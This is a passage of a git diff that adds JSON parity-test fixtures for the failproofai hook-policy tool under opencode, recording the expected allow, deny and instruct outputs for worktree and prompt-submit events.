1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptSubmit/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/UserPromptSubmit/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..f96e81e7 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptSubmit/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptSubmit/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/UserPromptSubmit/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..31dc57aa --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptSubmit/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeCreate/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/WorktreeCreate/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..1b492438 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeCreate/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeCreate/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/WorktreeCreate/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..c7772a9c --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeCreate/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeCreate/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/WorktreeCreate/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..7d8000b6 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeCreate/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeCreate/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/WorktreeCreate/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..bda8174e --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeCreate/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..560aa150 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..147905e8 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeCreate/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/WorktreeCreate/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..2d539113 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeCreate/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeCreate/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/WorktreeCreate/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..79516200 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeCreate/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeCreate/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/WorktreeCreate/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..e42dc50c --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeCreate/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeCreate/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/WorktreeCreate/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..78d29ebb --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeCreate/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeCreate/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/WorktreeCreate/deny__tool-present__one-policy.json new file mode 100644 index 00000000..a75773b5 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeCreate/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeCreate/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/WorktreeCreate/deny__tool-present__two-policies.json new file mode 100644 index 00000000..789af0e9 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeCreate/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeCreate/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/WorktreeCreate/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..16f5bea9 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeCreate/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeCreate\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeCreate/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/WorktreeCreate/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..839b4e34 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeCreate/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeCreate\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeCreate/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/WorktreeCreate/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..531e42d9 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeCreate/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeCreate\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeCreate/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/WorktreeCreate/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..a49eca0b --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeCreate/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeCreate\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeRemove/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/WorktreeRemove/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..e90d4588 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeRemove/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + 